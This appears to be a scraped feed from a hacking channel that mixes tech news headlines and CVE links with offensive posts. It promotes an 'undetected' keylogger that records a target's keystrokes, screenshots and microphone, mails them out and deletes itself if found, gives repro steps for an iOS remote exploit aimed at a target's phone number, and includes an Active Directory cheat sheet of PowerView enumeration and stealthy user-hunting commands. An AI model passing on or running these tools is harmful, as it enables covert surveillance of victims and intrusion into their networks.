CEO Ericsson: If Huawei's suspension ever remains, Ericsson would leave Sweden.
#International

🔵Plone XXE attacks:

https://dailycve.com/node/18

🦑free recommended project Haka:


An open source security oriented language which allows to describe protocols and apply security policies on (live) captured traffic. The scope of Haka language is twofold. First of all, it allows to write security rules in order to filter/alter/drop unwanted packets and log and report malicious activities. Second, Haka features a grammar enabling to specify network protocols and their underlying state machine.

» http://www.haka-security.org

🔵Seo Panel reflected XSS:

https://dailycve.com/node/19

After Life, Education, Peaky Blinders: Netflix floods us with news.
#Updates

The truth of the 'phantom market merger' of NEC / Fujitsu, the Hinomaru Union set up by NTTT.
#International

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Hack/ Pentesting ios browser's with bug: guide

https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

1) The class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled.

2) This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called.

3) This presents two problems. First, it could potentially allow undesired access to local files if the code deserializing the buffer ever shares it (this is more likely to cause problems in components that use serialized objects to communicate locally than in iMessage).

4) Second, it allows an NSData object to be created with a length that is different than the length of its byte array. This violates a very basic property that should always be true of NSData objects. This can allow out of bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.

🦑To reproduce the issue with the files in filebacked.zip:

1) install frida (pip3 install frida)

2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
in injectMessage.js replace the marker "PATH" with the path of the obj file

3) in the local directory, run:

4) python3 sendMessage.py

Please note that the attached repro case is a simple example to demonstrate the reach-ability of the class in Springboard. The actual consequences of the bug are likely more serious. This PoC only works on devices with iOS 12 or later.


code/ref :

https://github.com/TinToSer/ios-RCE-Vulnerability

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🔵Umbraco path traversal vulnerability:

https://dailycve.com/node/20

Galaxy Note 20 Challenger: renderings of Moto G Stylus 2021 appear.
#Technologies

Office Lens deleted from the Windows Store by Microsoft.
#Updates

tOTALLY UNDETECTED

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Undetected. Get Keyboard,Mouse,ScreenShot,Microphone Inputs from Target Computer and Send to your Mail.
#Hacking


🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

• DOWNLOAD : https://github.com/aydinnyunus/Keylogger

•Set your own MAIL and PASSWORD on "keylogger.py".

•Run keylogger.py on Target Computer

•Every 10 seconds,You Get the Data from the Target Computer

•If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🔵AIRDROPX BORN security vulnerability:

https://dailycve.com/node/21

Steam December hardware survey shows that Simplified Chinese users account for 47.18%
#Updates

The global online population of Steam reaches the 25 million mark.
#Updates

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑A cheat sheet that contains common enumeration and attack methods for Windows Active Directory:

Enum Domain Computers:

Get-NetComputer -FullData
Get-DomainGroup

#Enumerate Live machines
Get-NetComputer -Ping
Enum Groups and Group Members:

Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>

#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member

#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Enumerate Shares

#Enumerate Domain Shares
Find-DomainShare

#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
Enum Group Policies:

Get-NetGPO

# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup

#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
Enum OUs:

Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
Enum ACLs:

# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
Enum Domain Trust:

Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
Enum Forest Trust:

Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
User Hunting:

#Finds all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose

#Find computers were a Domain Admin OR a spesified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth

#Confirming admin access:
Invoke-UserHunter -CheckAccess



AVAIBLE HERE » : https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

The Syrian hacker network crashed, leaving 15 million $US in the center.
#CyberAttacks

Is the iPhone folding screen coming? Two prototypes are subject to preliminary testing.
#Technologies

🔵XCloner authentication bypass - wordpress plugin:

https://dailycve.com/node/22